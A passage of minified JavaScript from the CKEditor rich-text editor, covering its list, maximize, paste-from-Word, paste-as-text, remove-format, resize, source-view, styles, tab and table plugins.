!0))&&!l.getCustomData("list_item_processed"))j.push(l),CKEDITOR.dom.element.setMarker(a,l,"list_item_processed",!0);for(var l=h.root.getDocument(),p=void 0,o=void 0,c=0;c<j.length;c++){var u=j[c].getCustomData("listarray_index"),p=m[u].parent;p.is(this.type)||(o=l.createElement(this.type),p.copyAttributes(o,{start:1,type:1}),o.removeStyle("list-style-type"),m[u].parent=o)}a=CKEDITOR.plugins.list.arrayToList(m,a,null,d.config.enterMode);m=void 0;j=a.listNode.getChildCount();for(c=0;c<j&&(m=a.listNode.getChild(c));c++)m.getName()==
this.type&&g.push(m);a.listNode.replace(h.root);d.fire("contentDomInvalidated")}else{m=b;c=a;g=n;j=c.contents;d=c.root.getDocument();h=[];1==j.length&&j[0].equals(c.root)&&(a=d.createElement("div"),j[0].moveChildren&&j[0].moveChildren(a),j[0].append(a),j[0]=a);c=c.contents[0].getParent();for(l=0;l<j.length;l++)c=c.getCommonAncestor(j[l].getParent());p=m.config.useComputedState;m=a=void 0;p=void 0===p||p;for(l=0;l<j.length;l++)for(o=j[l];u=o.getParent();){if(u.equals(c)){h.push(o);!m&&o.getDirection()&&
(m=1);o=o.getDirection(p);null!==a&&(a=a&&a!=o?null:o);break}o=u}if(!(1>h.length)){j=h[h.length-1].getNext();l=d.createElement(this.type);g.push(l);for(p=g=void 0;h.length;)g=h.shift(),p=d.createElement("li"),g.is("pre")||H.test(g.getName())||"false"==g.getAttribute("contenteditable")?g.appendTo(p):(g.copyAttributes(p),a&&g.getDirection()&&(p.removeStyle("direction"),p.removeAttribute("dir")),g.moveChildren(p),g.remove()),p.appendTo(l);a&&m&&l.setAttribute("dir",a);j?l.insertBefore(j):l.appendTo(c)}}else this.state==
CKEDITOR.TRISTATE_ON&&r[a.root.getName()]&&E.call(this,b,a,i);for(l=0;l<n.length;l++)B(n[l]);CKEDITOR.dom.element.clearAllMarkers(i);e.selectBookmarks(k);b.focus()},refresh:function(b,k){var e=k.contains(r,1),d=k.blockLimit||k.root;e&&d.contains(e)?this.setState(e.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("list",{requires:"indentlist",init:function(b){b.blockless||(b.addCommand("numberedlist",new x("numberedlist","ol")),b.addCommand("bulletedlist",
new x("bulletedlist","ul")),b.ui.addButton&&(b.ui.addButton("NumberedList",{label:b.lang.list.numberedlist,command:"numberedlist",directional:!0,toolbar:"list,10"}),b.ui.addButton("BulletedList",{label:b.lang.list.bulletedlist,command:"bulletedlist",directional:!0,toolbar:"list,20"})),b.on("key",function(k){var e=k.data.domEvent.getKey(),d;if(b.mode=="wysiwyg"&&e in{8:1,46:1}){var f=b.getSelection().getRanges()[0],g=f&&f.startPath();if(f&&f.collapsed){var i=e==8,h=b.editable(),c=new CKEDITOR.dom.walker(f.clone());
c.evaluator=function(a){return q(a)&&!v(a)};c.guard=function(a,b){return!(b&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table"))};e=f.clone();if(i){var a;if((a=g.contains(r))&&f.checkBoundaryOfElement(a,CKEDITOR.START)&&(a=a.getParent())&&a.is("li")&&(a=w(a))){d=a;a=a.getPrevious(q);e.moveToPosition(a&&v(a)?a:d,CKEDITOR.POSITION_BEFORE_START)}else{c.range.setStartAt(h,CKEDITOR.POSITION_AFTER_START);c.range.setEnd(f.startContainer,f.startOffset);if((a=c.previous())&&a.type==CKEDITOR.NODE_ELEMENT&&(a.getName()in
r||a.is("li"))){if(!a.is("li")){c.range.selectNodeContents(a);c.reset();c.evaluator=C;a=c.previous()}d=a;e.moveToElementEditEnd(d)}}if(d){y(b,e,f);k.cancel()}else if((e=g.contains(r))&&f.checkBoundaryOfElement(e,CKEDITOR.START)){d=e.getFirst(q);if(f.checkBoundaryOfElement(d,CKEDITOR.START)){a=e.getPrevious(q);if(w(d)){if(a){f.moveToElementEditEnd(a);f.select()}}else b.execCommand("outdent");k.cancel()}}}else if(d=g.contains("li")){c.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);d=(g=d.getLast(q))&&
C(g)?g:d;h=0;if((a=c.next())&&a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in r&&a.equals(g)){h=1;a=c.next()}else f.checkBoundaryOfElement(d,CKEDITOR.END)&&(h=1);if(h&&a){f=f.clone();f.moveToElementEditStart(a);y(b,e,f);k.cancel()}}else{c.range.setEndAt(h,CKEDITOR.POSITION_BEFORE_END);if((a=c.next())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is(r)){a=a.getFirst(q);if(g.block&&f.checkStartOfBlock()&&f.checkEndOfBlock()){g.block.remove();f.moveToElementEditStart(a);f.select()}else if(w(a)){f.moveToElementEditStart(a);
f.select()}else{f=f.clone();f.moveToElementEditStart(a);y(b,e,f)}k.cancel()}}setTimeout(function(){b.selectionChange(1)})}}}))}})})();(function(){function l(a){if(!a||a.type!=CKEDITOR.NODE_ELEMENT||"form"!=a.getName())return[];for(var e=[],f=["style","className"],b=0;b<f.length;b++){var d=a.$.elements.namedItem(f[b]);d&&(d=new CKEDITOR.dom.element(d),e.push([d,d.nextSibling]),d.remove())}return e}function o(a,e){if(a&&!(a.type!=CKEDITOR.NODE_ELEMENT||"form"!=a.getName())&&0<e.length)for(var f=e.length-1;0<=f;f--){var b=e[f][0],d=e[f][1];d?b.insertBefore(d):b.appendTo(a)}}function n(a,e){var f=l(a),b={},d=a.$;e||(b["class"]=d.className||
"",d.className="");b.inline=d.style.cssText||"";e||(d.style.cssText="position: static; overflow: visible");o(f);return b}function p(a,e){var f=l(a),b=a.$;"class"in e&&(b.className=e["class"]);"inline"in e&&(b.style.cssText=e.inline);o(f)}function q(a){if(!a.editable().isInline()){var e=CKEDITOR.instances,f;for(f in e){var b=e[f];"wysiwyg"==b.mode&&!b.readOnly&&(b=b.document.getBody(),b.setAttribute("contentEditable",!1),b.setAttribute("contentEditable",!0))}a.editable().hasFocus&&(a.toolbox.focus(),
a.focus())}}CKEDITOR.plugins.add("maximize",{init:function(a){function e(){var b=d.getViewPaneSize();a.resize(b.width,b.height,null,!0)}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=a.lang,b=CKEDITOR.document,d=b.getWindow(),j,k,m,l=CKEDITOR.TRISTATE_OFF;a.addCommand("maximize",{modes:{wysiwyg:!CKEDITOR.env.iOS,source:!CKEDITOR.env.iOS},readOnly:1,editorFocus:!1,exec:function(){var h=a.container.getFirst(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&a.hasClass("cke_inner")}),g=a.ui.space("contents");
if("wysiwyg"==a.mode){var c=a.getSelection();j=c&&c.getRanges();k=d.getScrollPosition()}else{var i=a.editable().$;j=!CKEDITOR.env.ie&&[i.selectionStart,i.selectionEnd];k=[i.scrollLeft,i.scrollTop]}if(this.state==CKEDITOR.TRISTATE_OFF){d.on("resize",e);m=d.getScrollPosition();for(c=a.container;c=c.getParent();)c.setCustomData("maximize_saved_styles",n(c)),c.setStyle("z-index",a.config.baseFloatZIndex-5);g.setCustomData("maximize_saved_styles",n(g,!0));h.setCustomData("maximize_saved_styles",n(h,!0));
g={overflow:CKEDITOR.env.webkit?"":"hidden",width:0,height:0};b.getDocumentElement().setStyles(g);!CKEDITOR.env.gecko&&b.getDocumentElement().setStyle("position","fixed");(!CKEDITOR.env.gecko||!CKEDITOR.env.quirks)&&b.getBody().setStyles(g);CKEDITOR.env.ie?setTimeout(function(){d.$.scrollTo(0,0)},0):d.$.scrollTo(0,0);h.setStyle("position",CKEDITOR.env.gecko&&CKEDITOR.env.quirks?"fixed":"absolute");h.$.offsetLeft;h.setStyles({"z-index":a.config.baseFloatZIndex-5,left:"0px",top:"0px"});h.addClass("cke_maximized");
e();g=h.getDocumentPosition();h.setStyles({left:-1*g.x+"px",top:-1*g.y+"px"});CKEDITOR.env.gecko&&q(a)}else if(this.state==CKEDITOR.TRISTATE_ON){d.removeListener("resize",e);g=[g,h];for(c=0;c<g.length;c++)p(g[c],g[c].getCustomData("maximize_saved_styles")),g[c].removeCustomData("maximize_saved_styles");for(c=a.container;c=c.getParent();)p(c,c.getCustomData("maximize_saved_styles")),c.removeCustomData("maximize_saved_styles");CKEDITOR.env.ie?setTimeout(function(){d.$.scrollTo(m.x,m.y)},0):d.$.scrollTo(m.x,
m.y);h.removeClass("cke_maximized");CKEDITOR.env.webkit&&(h.setStyle("display","inline"),setTimeout(function(){h.setStyle("display","block")},0));a.fire("resize")}this.toggleState();if(c=this.uiItems[0])g=this.state==CKEDITOR.TRISTATE_OFF?f.maximize.maximize:f.maximize.minimize,c=CKEDITOR.document.getById(c._.id),c.getChild(1).setHtml(g),c.setAttribute("title",g),c.setAttribute("href",'javascript:void("'+g+'");');"wysiwyg"==a.mode?j?(CKEDITOR.env.gecko&&q(a),a.getSelection().selectRanges(j),(i=a.getSelection().getStartElement())&&
i.scrollIntoView(!0)):d.$.scrollTo(k.x,k.y):(j&&(i.selectionStart=j[0],i.selectionEnd=j[1]),i.scrollLeft=k[0],i.scrollTop=k[1]);j=k=null;l=this.state;a.fire("maximize",this.state)},canUndo:!1});a.ui.addButton&&a.ui.addButton("Maximize",{label:f.maximize.maximize,command:"maximize",toolbar:"tools,10"});a.on("mode",function(){var b=a.getCommand("maximize");b.setState(b.state==CKEDITOR.TRISTATE_DISABLED?CKEDITOR.TRISTATE_DISABLED:l)},null,null,100)}}})})();(function(){function h(a,d,f){var b=CKEDITOR.cleanWord;b?f():(a=CKEDITOR.getUrl(a.config.pasteFromWordCleanupFile||d+"filter/default.js"),CKEDITOR.scriptLoader.load(a,f,null,!0));return!b}function i(a){a.data.type="html"}CKEDITOR.plugins.add("pastefromword",{requires:"clipboard",init:function(a){var d=0,f=this.path;a.addCommand("pastefromword",{canUndo:!1,async:!0,exec:function(a){var e=this;d=1;a.once("beforePaste",i);a.getClipboardData({title:a.lang.pastefromword.title},function(c){c&&a.fire("paste",
{type:"html",dataValue:c.dataValue});a.fire("afterCommandExec",{name:"pastefromword",command:e,returnValue:!!c})})}});a.ui.addButton&&a.ui.addButton("PasteFromWord",{label:a.lang.pastefromword.toolbar,command:"pastefromword",toolbar:"clipboard,50"});a.on("pasteState",function(b){a.getCommand("pastefromword").setState(b.data)});a.on("paste",function(b){var e=b.data,c=e.dataValue;if(c&&(d||/(class=\"?Mso|style=\"[^\"]*\bmso\-|w:WordDocument)/.test(c))){var g=h(a,f,function(){if(g)a.fire("paste",e);
else if(!a.config.pasteFromWordPromptCleanup||d||confirm(a.lang.pastefromword.confirmCleanup))e.dataValue=CKEDITOR.cleanWord(c,a);d=0});g&&b.cancel()}},null,null,3)}})})();(function(){var c={canUndo:!1,async:!0,exec:function(a){a.getClipboardData({title:a.lang.pastetext.title},function(b){b&&a.fire("paste",{type:"text",dataValue:b.dataValue});a.fire("afterCommandExec",{name:"pastetext",command:c,returnValue:!!b})})}};CKEDITOR.plugins.add("pastetext",{requires:"clipboard",init:function(a){a.addCommand("pastetext",c);a.ui.addButton&&a.ui.addButton("PasteText",{label:a.lang.pastetext.button,command:"pastetext",toolbar:"clipboard,40"});if(a.config.forcePasteAsPlainText)a.on("beforePaste",
function(a){"html"!=a.data.type&&(a.data.type="text")});a.on("pasteState",function(b){a.getCommand("pastetext").setState(b.data)})}})})();CKEDITOR.plugins.add("removeformat",{init:function(a){a.addCommand("removeFormat",CKEDITOR.plugins.removeformat.commands.removeformat);a.ui.addButton&&a.ui.addButton("RemoveFormat",{label:a.lang.removeformat.toolbar,command:"removeFormat",toolbar:"cleanup,10"})}});
CKEDITOR.plugins.removeformat={commands:{removeformat:{exec:function(a){for(var h=a._.removeFormatRegex||(a._.removeFormatRegex=RegExp("^(?:"+a.config.removeFormatTags.replace(/,/g,"|")+")$","i")),e=a._.removeAttributes||(a._.removeAttributes=a.config.removeFormatAttributes.split(",")),f=CKEDITOR.plugins.removeformat.filter,k=a.getSelection().getRanges(),l=k.createIterator(),m=function(a){return a.type==CKEDITOR.NODE_ELEMENT},c;c=l.getNextRange();){c.collapsed||c.enlarge(CKEDITOR.ENLARGE_ELEMENT);
var j=c.createBookmark(),b=j.startNode,d=j.endNode,i=function(b){for(var c=a.elementPath(b),e=c.elements,d=1,g;(g=e[d])&&!g.equals(c.block)&&!g.equals(c.blockLimit);d++)h.test(g.getName())&&f(a,g)&&b.breakParent(g)};i(b);if(d){i(d);for(b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT);b&&!b.equals(d);)if(b.isReadOnly()){if(b.getPosition(d)&CKEDITOR.POSITION_CONTAINS)break;b=b.getNext(m)}else i=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT),!("img"==b.getName()&&b.data("cke-realelement"))&&f(a,b)&&(h.test(b.getName())?
b.remove(1):(b.removeAttributes(e),a.fire("removeFormatCleanup",b))),b=i}c.moveToBookmark(j)}a.forceNextSelectionCheck();a.getSelection().selectRanges(k)}}},filter:function(a,h){for(var e=a._.removeFormatFilters||[],f=0;f<e.length;f++)if(!1===e[f](h))return!1;return!0}};CKEDITOR.editor.prototype.addRemoveFormatFilter=function(a){this._.removeFormatFilters||(this._.removeFormatFilters=[]);this._.removeFormatFilters.push(a)};CKEDITOR.config.removeFormatTags="b,big,cite,code,del,dfn,em,font,i,ins,kbd,q,s,samp,small,span,strike,strong,sub,sup,tt,u,var";
CKEDITOR.config.removeFormatAttributes="class,style,lang,width,height,align,hspace,valign";CKEDITOR.plugins.add("resize",{init:function(b){var f,g,n,o;function c(d){var e=f,l=g,c=e+(d.data.$.screenX-n)*("rtl"==h?-1:1),d=l+(d.data.$.screenY-o);i&&(e=Math.max(a.resize_minWidth,Math.min(c,a.resize_maxWidth)));m&&(l=Math.max(a.resize_minHeight,Math.min(d,a.resize_maxHeight)));b.resize(i?e:null,l)}function j(){CKEDITOR.document.removeListener("mousemove",c);CKEDITOR.document.removeListener("mouseup",j);b.document&&(b.document.removeListener("mousemove",c),b.document.removeListener("mouseup",
j))}var a=b.config,q=b.ui.spaceId("resizer"),h=b.element?b.element.getDirection(1):"ltr";!a.resize_dir&&(a.resize_dir="vertical");void 0===a.resize_maxWidth&&(a.resize_maxWidth=3E3);void 0===a.resize_maxHeight&&(a.resize_maxHeight=3E3);void 0===a.resize_minWidth&&(a.resize_minWidth=750);void 0===a.resize_minHeight&&(a.resize_minHeight=250);if(!1!==a.resize_enabled){var k=null,i=("both"==a.resize_dir||"horizontal"==a.resize_dir)&&a.resize_minWidth!=a.resize_maxWidth,m=("both"==a.resize_dir||"vertical"==
a.resize_dir)&&a.resize_minHeight!=a.resize_maxHeight,p=CKEDITOR.tools.addFunction(function(d){k||(k=b.getResizable());f=k.$.offsetWidth||0;g=k.$.offsetHeight||0;n=d.screenX;o=d.screenY;a.resize_minWidth>f&&(a.resize_minWidth=f);a.resize_minHeight>g&&(a.resize_minHeight=g);CKEDITOR.document.on("mousemove",c);CKEDITOR.document.on("mouseup",j);b.document&&(b.document.on("mousemove",c),b.document.on("mouseup",j));d.preventDefault&&d.preventDefault()});b.on("destroy",function(){CKEDITOR.tools.removeFunction(p)});
b.on("uiSpace",function(a){if("bottom"==a.data.space){var e="";i&&!m&&(e=" cke_resizer_horizontal");!i&&m&&(e=" cke_resizer_vertical");var c='<span id="'+q+'" class="cke_resizer'+e+" cke_resizer_"+h+'" title="'+CKEDITOR.tools.htmlEncode(b.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+p+', event)">'+("ltr"==h?"◢":"◣")+"</span>";"ltr"==h&&"ltr"==e?a.data.html+=c:a.data.html=c+a.data.html}},b,null,100);b.on("maximize",function(a){b.ui.space("resizer")[a.data==CKEDITOR.TRISTATE_ON?
"hide":"show"]()})}}});(function(){CKEDITOR.plugins.add("sourcearea",{init:function(a){function d(){var a=e&&this.equals(CKEDITOR.document.getActive());this.hide();this.setStyle("height",this.getParent().$.clientHeight+"px");this.setStyle("width",this.getParent().$.clientWidth+"px");this.show();a&&this.focus()}if(a.elementMode!=CKEDITOR.ELEMENT_MODE_INLINE){var f=CKEDITOR.plugins.sourcearea;a.addMode("source",function(e){var b=a.ui.space("contents").getDocument().createElement("textarea");b.setStyles(CKEDITOR.tools.extend({width:CKEDITOR.env.ie7Compat?
"99%":"100%",height:"100%",resize:"none",outline:"none","text-align":"left"},CKEDITOR.tools.cssVendorPrefix("tab-size",a.config.sourceAreaTabSize||4)));b.setAttribute("dir","ltr");b.addClass("cke_source cke_reset cke_enable_context_menu");a.ui.space("contents").append(b);b=a.editable(new c(a,b));b.setData(a.getData(1));CKEDITOR.env.ie&&(b.attachListener(a,"resize",d,b),b.attachListener(CKEDITOR.document.getWindow(),"resize",d,b),CKEDITOR.tools.setTimeout(d,0,b));a.fire("ariaWidget",this);e()});a.addCommand("source",
f.commands.source);a.ui.addButton&&a.ui.addButton("Source",{label:a.lang.sourcearea.toolbar,command:"source",toolbar:"mode,10"});a.on("mode",function(){a.getCommand("source").setState("source"==a.mode?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)});var e=CKEDITOR.env.ie&&9==CKEDITOR.env.version}}});var c=CKEDITOR.tools.createClass({base:CKEDITOR.editable,proto:{setData:function(a){this.setValue(a);this.status="ready";this.editor.fire("dataReady")},getData:function(){return this.getValue()},insertHtml:function(){},
insertElement:function(){},insertText:function(){},setReadOnly:function(a){this[(a?"set":"remove")+"Attribute"]("readOnly","readonly")},detach:function(){c.baseProto.detach.call(this);this.clearCustomData();this.remove()}}})})();CKEDITOR.plugins.sourcearea={commands:{source:{modes:{wysiwyg:1,source:1},editorFocus:!1,readOnly:1,exec:function(c){"wysiwyg"==c.mode&&c.fire("saveSnapshot");c.getCommand("source").setState(CKEDITOR.TRISTATE_DISABLED);c.setMode("source"==c.mode?"wysiwyg":"source")},canUndo:!1}}};(function(){CKEDITOR.plugins.add("stylescombo",{requires:"richcombo",init:function(c){var j=c.config,g=c.lang.stylescombo,f={},i=[],k=[];c.on("stylesSet",function(b){if(b=b.data.styles){for(var a,h,d,e=0,l=b.length;e<l;e++)if(a=b[e],!(c.blockless&&a.element in CKEDITOR.dtd.$block)&&(h=a.name,a=new CKEDITOR.style(a),!c.filter.customConfig||c.filter.check(a)))a._name=h,a._.enterMode=j.enterMode,a._.type=d=a.assignedTo||a.type,a._.weight=e+1E3*(d==CKEDITOR.STYLE_OBJECT?1:d==CKEDITOR.STYLE_BLOCK?2:3),
f[h]=a,i.push(a),k.push(a);i.sort(function(a,b){return a._.weight-b._.weight})}});c.ui.addRichCombo("Styles",{label:g.label,title:g.panelTitle,toolbar:"styles,10",allowedContent:k,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(j.contentsCss),multiSelect:!0,attributes:{"aria-label":g.panelTitle}},init:function(){var b,a,c,d,e,f;e=0;for(f=i.length;e<f;e++)b=i[e],a=b._name,d=b._.type,d!=c&&(this.startGroup(g["panelTitle"+d]),c=d),this.add(a,b.type==CKEDITOR.STYLE_OBJECT?a:b.buildPreview(),a);this.commit()},
onClick:function(b){c.focus();c.fire("saveSnapshot");var b=f[b],a=c.elementPath();c[b.checkActive(a,c)?"removeStyle":"applyStyle"](b);c.fire("saveSnapshot")},onRender:function(){c.on("selectionChange",function(b){for(var a=this.getValue(),b=b.data.path.elements,h=0,d=b.length,e;h<d;h++){e=b[h];for(var g in f)if(f[g].checkElementRemovable(e,!0,c)){g!=a&&this.setValue(g);return}}this.setValue("")},this)},onOpen:function(){var b=c.getSelection().getSelectedElement(),b=c.elementPath(b),a=[0,0,0,0];this.showAll();
this.unmarkAll();for(var h in f){var d=f[h],e=d._.type;d.checkApplicable(b,c,c.activeFilter)?a[e]++:this.hideItem(h);d.checkActive(b,c)&&this.mark(h)}a[CKEDITOR.STYLE_BLOCK]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_BLOCK]);a[CKEDITOR.STYLE_INLINE]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_INLINE]);a[CKEDITOR.STYLE_OBJECT]||this.hideGroup(g["panelTitle"+CKEDITOR.STYLE_OBJECT])},refresh:function(){var b=c.elementPath();if(b){for(var a in f)if(f[a].checkApplicable(b,c,c.activeFilter))return;
this.setState(CKEDITOR.TRISTATE_DISABLED)}},reset:function(){f={};i=[]}})}})})();(function(){function i(c){return{editorFocus:!1,canUndo:!1,modes:{wysiwyg:1},exec:function(d){if(d.editable().hasFocus){var e=d.getSelection(),b;if(b=(new CKEDITOR.dom.elementPath(e.getCommonAncestor(),e.root)).contains({td:1,th:1},1)){var e=d.createRange(),a=CKEDITOR.tools.tryThese(function(){var a=b.getParent().$.cells[b.$.cellIndex+(c?-1:1)];a.parentNode.parentNode;return a},function(){var a=b.getParent(),a=a.getAscendant("table").$.rows[a.$.rowIndex+(c?-1:1)];return a.cells[c?a.cells.length-1:
0]});if(!a&&!c){for(var f=b.getAscendant("table").$,a=b.getParent().$.cells,f=new CKEDITOR.dom.element(f.insertRow(-1),d.document),g=0,h=a.length;g<h;g++)f.append((new CKEDITOR.dom.element(a[g],d.document)).clone(!1,!1)).appendBogus();e.moveToElementEditStart(f)}else if(a)a=new CKEDITOR.dom.element(a),e.moveToElementEditStart(a),(!e.checkStartOfBlock()||!e.checkEndOfBlock())&&e.selectNodeContents(a);else return!0;e.select(!0);return!0}}return!1}}}var h={editorFocus:!1,modes:{wysiwyg:1,source:1}},
g={exec:function(c){c.container.focusNext(!0,c.tabIndex)}},f={exec:function(c){c.container.focusPrevious(!0,c.tabIndex)}};CKEDITOR.plugins.add("tab",{init:function(c){for(var d=!1!==c.config.enableTabKeyTools,e=c.config.tabSpaces||0,b="";e--;)b+=" ";if(b)c.on("key",function(a){9==a.data.keyCode&&(c.insertText(b),a.cancel())});if(d)c.on("key",function(a){(9==a.data.keyCode&&c.execCommand("selectNextCell")||a.data.keyCode==CKEDITOR.SHIFT+9&&c.execCommand("selectPreviousCell"))&&a.cancel()});c.addCommand("blur",
CKEDITOR.tools.extend(g,h));c.addCommand("blurBack",CKEDITOR.tools.extend(f,h));c.addCommand("selectNextCell",i());c.addCommand("selectPreviousCell",i(!0))}})})();
CKEDITOR.dom.element.prototype.focusNext=function(i,h){var g=void 0===h?this.getTabIndex():h,f,c,d,e,b,a;if(0>=g)for(b=this.getNextSourceNode(i,CKEDITOR.NODE_ELEMENT);b;){if(b.isVisible()&&0===b.getTabIndex()){d=b;break}b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT)}else for(b=this.getDocument().getBody().getFirst();b=b.getNextSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&&b.equals(this)){if(c=!0,i){if(!(b=b.getNextSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&&!this.contains(b)&&
(f=1);if(b.isVisible()&&!(0>(a=b.getTabIndex()))){if(f&&a==g){d=b;break}a>g&&(!d||!e||a<e)?(d=b,e=a):!d&&0===a&&(d=b,e=a)}}d&&d.focus()};
CKEDITOR.dom.element.prototype.focusPrevious=function(i,h){for(var g=void 0===h?this.getTabIndex():h,f,c,d,e=0,b,a=this.getDocument().getBody().getLast();a=a.getPreviousSourceNode(!1,CKEDITOR.NODE_ELEMENT);){if(!f)if(!c&&a.equals(this)){if(c=!0,i){if(!(a=a.getPreviousSourceNode(!0,CKEDITOR.NODE_ELEMENT)))break;f=1}}else c&&!this.contains(a)&&(f=1);if(a.isVisible()&&!(0>(b=a.getTabIndex())))if(0>=g){if(f&&0===b){d=a;break}b>e&&(d=a,e=b)}else{if(f&&b==g){d=a;break}if(b<g&&(!d||b>e))d=a,e=b}}d&&d.focus()};CKEDITOR.plugins.add("table",{requires:"dialog",init:function(a){function e(a){return CKEDITOR.tools.extend(a||{},{contextSensitive:1,refresh:function(a,f){this.setState(f.contains("table",1)?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED)}})}if(!a.blockless){var c=a.lang.table;a.addCommand("table",new CKEDITOR.dialogCommand("table",{context:"table",allowedContent:"table{width,height}[align,border,cellpadding,cellspacing,summary];caption tbody thead tfoot;th td tr[scope];"+(a.plugins.dialogadvtab?
"table"+a.plugins.dialogadvtab.allowedContent():""),requiredContent:"table",contentTransformations:[["table{width}: sizeToStyle","table[width]: sizeToAttribute"]]}));a.addCommand("tableProperties",new CKEDITOR.dialogCommand("tableProperties",e()));a.addCommand("tableDelete",e({exec:function(a){var b=a.elementPath().contains("table",1);if(b){var d=b.getParent(),c=a.editable();1==d.getChildCount()&&(!d.is("td","th")&&!d.equals(c))&&(b=d);a=a.createRange();a.moveToPosition(b,CKEDITOR.POSITION_BEFORE_START);
b.remove();a.select()}}}));a.ui.addButton&&a.ui.addButton("Table",{label:c.toolbar,command:"table",toolbar:"insert,30"});CKEDITOR.dialog.add("table",this.path+"dialogs/table.js");CKEDITOR.dialog.add("tableProperties",this.path+"dialogs/table.js");a.addMenuItems&&a.addMenuItems({table:{label:c.menu,command:"tableProperties",group:"table",order:5},tabledelete:{label:c.deleteTable,command:"tableDelete",group:"table",order:1}});a.on("doubleclick",function(a){a.data.element.is("table")&&(a.data.dialog=
"tableProperties")});a.contextMenu&&a.contextMenu.addListener(function(){return{tabledelete:CKEDITOR.TRISTATE_OFF,table:CKEDITOR.TRISTATE_OFF}})}}});(function(){function p(e){function d(a){!(0<b.length)&&(a.type==CKEDITOR.NODE_ELEMENT&&y.test(a.getName())&&!a.getCustomData("selected_cell"))&&(CKEDITOR.dom.element.setMarker(c,a,"selected_cell",!0),b.push(a))}for(var e=e.getRanges(),b=[],c={},a=0;a<e.length;a++){var f=e[a];if(f.collapsed)f=f.getCommonAncestor(),(f=f.getAscendant("td",!0)||f.getAscendant("th",!0))&&b.push(f);else{var f=new CKEDITOR.dom.walker(f),g;for(f.guard=d;g=f.next();)if(g.type!=CKEDITOR.NODE_ELEMENT||!g.is(CKEDITOR.dtd.table))if((g=
g.getAscendant("td",!0)||g.getAscendant("th",!0))&&!g.getCustomData("selected_cell"))CKEDITOR.dom.element.setMarker(c,g,"selected_cell",!0),b.push(g)}}CKEDITOR.dom.element.clearAllMarkers(c);return b}function o(e,d){for(var b=p(e),c=b[0],a=c.getAscendant("table"),c=c.getDocument(),f=b[0].getParent(),g=f.$.rowIndex,b=b[b.length-1],h=b.getParent().$.rowIndex+b.$.rowSpan-1,b=new CKEDITOR.dom.element(a.$.rows[h]),g=d?g:h,f=d?f:b,b=CKEDITOR.tools.buildTableMap(a),a=b[g],g=d?b[g-1]:b[g+1],b=b[0].length,
c=c.createElement("tr"),h=0;a[h]&&h<b;h++){var i;1<a[h].rowSpan&&g&&a[h]==g[h]?(i=a[h],i.rowSpan+=1):(i=(new CKEDITOR.dom.element(a[h])).clone(),i.removeAttribute("rowSpan"),i.appendBogus(),c.append(i),i=i.$);h+=i.colSpan-1}d?c.insertBefore(f):c.insertAfter(f)}function q(e){if(e instanceof CKEDITOR.dom.selection){for(var d=p(e),b=d[0].getAscendant("table"),c=CKEDITOR.tools.buildTableMap(b),e=d[0].getParent().$.rowIndex,d=d[d.length-1],a=d.getParent().$.rowIndex+d.$.rowSpan-1,d=[],f=e;f<=a;f++){for(var g=
c[f],h=new CKEDITOR.dom.element(b.$.rows[f]),i=0;i<g.length;i++){var j=new CKEDITOR.dom.element(g[i]),l=j.getParent().$.rowIndex;1==j.$.rowSpan?j.remove():(j.$.rowSpan-=1,l==f&&(l=c[f+1],l[i-1]?j.insertAfter(new CKEDITOR.dom.element(l[i-1])):(new CKEDITOR.dom.element(b.$.rows[f+1])).append(j,1)));i+=j.$.colSpan-1}d.push(h)}c=b.$.rows;b=new CKEDITOR.dom.element(c[a+1]||(0<e?c[e-1]:null)||b.$.parentNode);for(f=d.length;0<=f;f--)q(d[f]);return b}e instanceof CKEDITOR.dom.element&&(b=e.getAscendant("table"),
1==b.$.rows.length?b.remove():e.remove());return null}function r(e,d){for(var b=d?Infinity:0,c=0;c<e.length;c++){var a;a=e[c];for(var f=d,g=a.getParent().$.cells,h=0,i=0;i<g.length;i++){var j=g[i],h=h+(f?1:j.colSpan);if(j==a.$)break}a=h-1;if(d?a<b:a>b)b=a}return b}function k(e,d){for(var b=p(e),c=b[0].getAscendant("table"),a=r(b,1),b=r(b),a=d?a:b,f=CKEDITOR.tools.buildTableMap(c),c=[],b=[],g=f.length,h=0;h<g;h++)c.push(f[h][a]),b.push(d?f[h][a-1]:f[h][a+1]);for(h=0;h<g;h++)c[h]&&(1<c[h].colSpan&&
b[h]==c[h]?(a=c[h],a.colSpan+=1):(a=(new CKEDITOR.dom.element(c[h])).clone(),a.removeAttribute("colSpan"),a.appendBogus(),a[d?"insertBefore":"insertAfter"].call(a,new CKEDITOR.dom.element(c[h])),a=a.$),h+=a.rowSpan-1)}function u(e,d){var b=e.getStartElement();if(b=b.getAscendant("td",1)||b.getAscendant("th",1)){var c=b.clone();c.appendBogus();d?c.insertBefore(b):c.insertAfter(b)}}function t(e){if(e instanceof CKEDITOR.dom.selection){var e=p(e),d=e[0]&&e[0].getAscendant("table"),b;a:{var c=0;b=e.length-
1;for(var a={},f,g;f=e[c++];)CKEDITOR.dom.element.setMarker(a,f,"delete_cell",!0);for(c=0;f=e[c++];)if((g=f.getPrevious())&&!g.getCustomData("delete_cell")||(g=f.getNext())&&!g.getCustomData("delete_cell")){CKEDITOR.dom.element.clearAllMarkers(a);b=g;break a}CKEDITOR.dom.element.clearAllMarkers(a);g=e[0].getParent();(g=g.getPrevious())?b=g.getLast():(g=e[b].getParent(),b=(g=g.getNext())?g.getChild(0):null)}for(g=e.length-1;0<=g;g--)t(e[g]);b?m(b,!0):d&&d.remove()}else e instanceof CKEDITOR.dom.element&&
